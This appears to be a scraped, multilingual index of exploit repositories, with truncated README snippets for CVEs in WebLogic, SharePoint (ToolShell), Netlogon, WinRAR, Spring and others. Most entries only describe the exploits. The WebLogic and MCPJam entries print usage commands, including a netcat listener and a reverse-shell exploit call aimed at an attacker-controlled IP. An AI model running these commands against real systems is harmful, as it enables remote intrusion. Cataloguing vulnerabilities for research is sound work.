cve_2026_34621_advanced

Générateur d'exploit avancé CVE-2026-34621 Un générateur d'exploit sophistiqué et multiplateforme pour CVE-2026-34621 – une vulnérabilité critique de pollution de prototype dans Adobe Acrobat et Reader qui permet l'évasion de sandbox et l'exécution de code arbitraire sur Windows et macOS. ⚠️...

CVE-2018-6574

Ce depot n’a pas de fichier README...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

Toolshell_CVE-2025-53770

ToolShell → PoC d'exploitation pour CVE‑2025‑53770 Ce package permet : 1. Téléverser une webshell sur SharePoint 2. Extraire la ValidationKey 3. Générer un ViewState signé 4. RCE via un reverse shell ou un bind shell 🔧 Installation root@kitploit: git clone cd toolshell-exploit pip3 install -r...

zerologon

zerologon zerologon 脚本，用于利用 CVE-2020-1472，CVSS 评分 10/10 漏洞利用代码基于 https://www.secura.com/blog/zero-logon 和 https://github.com/SecuraBV/CVE-2020-1472。原始研究和扫描工具由 Secura 提供，修改工作由 RiskSense Inc. 完成。 https://github.com/risksense/zerologon 要利用该漏洞，请先清除之前安装的任何 Impacket，并从...

WebSphere-WSIF-gadget

WSIF Gadget for WebSphere CVE-2020-4464 / CVE-2020-4450 这是基于 ZDI 的优秀博客文章（最初由 @tint0 报告）： https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere https://www.zerodayinitiative.com/blog/2020/9/29/exploiting-other-remote-protocols-in-ibm-websphere...

VolleyballSquid-----CVE-2023-38831-and-Bypass-UAC

VolleyballSquid-----CVE-2023-38831-and-Bypass-UAC 这是我的恶意软件。 我使用了CVE-2023-38831（一种针对WinRAR的漏洞利用）来制作这个恶意软件。 我还使用了BypassUAC来获取管理员权限。 这是它的OVA文件：https://ttuedutw-my.sharepoint.com/:u:/g/personal/410806228o365ttuedutw/EW7BTI5OBylGjfoxQEkpA6YBrAzL1tMiGkcDzo5EYQxHjw 免责声明...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

auf kali linux - terminal 1 nc -lvnp 4444 auf kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

Vitepos-CVE-Report

Vitepos-CVE-Report CVE-2025-13156 披露 CVE-2025-13156 - Vitepos – WooCommerce 的销售点 POS 插件中的漏洞 此仓库披露了在 Vitepos – WooCommerce 的销售点 POS 插件 = 3.3.0 中发现的一个漏洞，该插件由 appsbd 开发。 🛠 受影响版本 产品 : Vitepos – WooCommerce 的销售点 POS 插件 版本 : ≤ v3.3.0 URL : https://wordpress.org/plugins/vitepos-lite/ 🔒 分配的 CVE...

VMWare-CVE-Check

VMWare-CVE-Check 用法: ./example.py/sh list.txt...

CVE-2019-9465

CVE-2019-9465 هذا تطبيق أندرويد تجريبي لـ CVE-2019-9465...

-vercel-application-is-vulnerable-to-CVE-2025-66478.

-Vercel 应用程序容易受到 CVE-2025-66478 的攻击。 漏洞赏金...

TIC4301_Project

TIC4301Project TIC4301 项目 - CVE-2021-40444 下载以下 Vagrant 镜像： Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 通过 Vagrant 使用以下命令导入镜像： 1. vagrant box add kalipackage.box...

dromara__hutool_CVE-2018-17297_4-1-1111

Набор инструментов, который делает Java слаще. -- Главная страница: http://hutool.cn/ -- -- QQ-группа ②: 871141901 -- Введение Hutool — это набор инструментов для Java, и только набор инструментов. Он помогает нам упростить каждую строку кода, сократить каждый метод, чтобы язык Java тоже мог...

emby_ssrf

msfemby Esta ferramenta verificará um servidor EMBY remoto para tentar usar uma vulnerabilidade de SSRF para realizar uma varredura http da rede interna ao servidor EMBY. Isso é baseado na vulnerabilidade CVE-2020-26948. Instalação Clone o repositório e coloque os arquivos rb no diretório...

cve-unassigned-1

CVE-UNASSIGNED-1 Ceci fait partie de Cved : un outil pour gérer les conteneurs Docker vulnérables. Cved : https://github.com/git-rep-src/cved Source de l'image : https://github.com/cved-sources/cve-unassigned-1 Auteur de l'image : https://github.com/cved-sources/cve-unassigned-1...

SSH-User-Enum-Python3-CVE-2018-15473

SSH-User-Enum-Python3-CVE-2018-15473 SSH用户枚举工具，Python3实现，CVE-2018-15473，我已将此漏洞利用代码（https://www.exploit-db.com/exploits/45939）更新为使用Python3而非Python2，并正在尝试实现枚举多个用户而非仅单个用户的功能。 OpenSSH 7.7 - 用户枚举脚本（Python3） sshuserenum3.py 运行良好，使用方法： root@kitploit: python3 sshuserenum3.py 10.10.10.84 -p 22 root IP =...

jira-exploits-cve

jira-exploits-cve Siga-nos Vulnmachines YouTube Twitter Facebook LinkedIn...

Spring4ShellPoC

Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 只是玩玩这个漏洞利用。 修改自BobTheShopLifter的出色工作，https://github.com/BobTheShoplifter/Spring4Shell-POC 以及TryHackMe，https://tryhackme.com/room/spring4shell 只是一些小调整。 在检查漏洞利用是否已部署时添加了一些额外内容。 为等待计时器添加了一个进度条，只是为了看看它们如何工作。...